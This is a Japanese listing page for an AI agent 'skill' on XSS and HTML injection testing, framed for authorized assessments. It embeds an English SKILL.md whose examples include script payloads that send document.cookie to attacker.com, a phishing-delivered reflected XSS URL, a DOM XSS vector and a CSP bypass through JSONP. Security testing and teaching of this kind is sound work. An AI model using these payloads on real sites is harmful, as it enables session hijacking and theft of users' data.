本文へスキップ
Skillpedia
セキュリティ48k · #6218

xss-html-injection

できること

このツールは、攻撃者が情報を盗んだり、ユーザーのアカウントを乗っ取ったりできるセキュリティ上の欠陥が、Webサイトにないかを確認するのに役立ちます。よくある攻撃を模擬して、そうした脆弱性を見つけ出します。

使う場面

  • ✓分析する許可を得ているWebサイトのセキュリティを検査するとき。
  • ✓管理された環境で、セキュリティ上の欠陥がどのように生じるかを学ぶとき。
  • ✓Webサイトの攻撃に対する防御が正しく機能しているかを確認するとき。

スキルのリンク

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/xss-html-injection/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“「example.com」というWebサイトに、XSSやHTMLインジェクションの脆弱性があるかどうか確認したいです。”

毎週5つの新しいスキル。1分で読めます。

仕組み

このツールは、偽装した悪意あるコードをWebサイトに送り、その反応を観察します。Webサイトがそのコードを表示したり実行したりした場合、セキュリティ上の脆弱性がある可能性があります。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cross-Site Scripting and HTML Injection Testing

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Guardrails

Operational Boundaries

  • Never inject payloads that could damage production systems
  • Limit cookie/session capture to demonstration purposes only
  • Avoid payloads that could spread to unintended users (worm behavior)
  • Do not exfiltrate real user data beyond scope requirements

Technical Limitations

  • Content Security Policy (CSP) may block inline scripts
  • HttpOnly cookies prevent JavaScript access
  • SameSite cookie attributes limit cross-origin attacks
  • Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

  • Written authorization required before testing
  • Report critical XSS vulnerabilities immediately
  • Handle captured credentials per data protection agreements
  • Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

よくある質問

XSSとは何ですか?

XSS(クロスサイトスクリプティング)は、攻撃者が信頼されたWebサイトに悪意のあるスクリプトを埋め込み、それが他のユーザーのブラウザで実行されてしまう種類の攻撃です。

HTMLインジェクションとは何ですか?

HTMLインジェクションは、攻撃者がWebページにHTMLコードを挿入し、その内容や動作を悪意のある目的で変えてしまう攻撃です。

このツールを使うのに許可は必要ですか?

はい。テストを行う前に、Webサイトの所有者から明示的な書面による許可を得ることが不可欠です。許可なく使用することは違法です。

詳細

作者による元の説明

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms.

repo: sickn33/agentic-awesome-skills

人気

GitHubのスター
48k
ランキング
#6218
ライセンス
MIT
更新日
2026/10/15

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル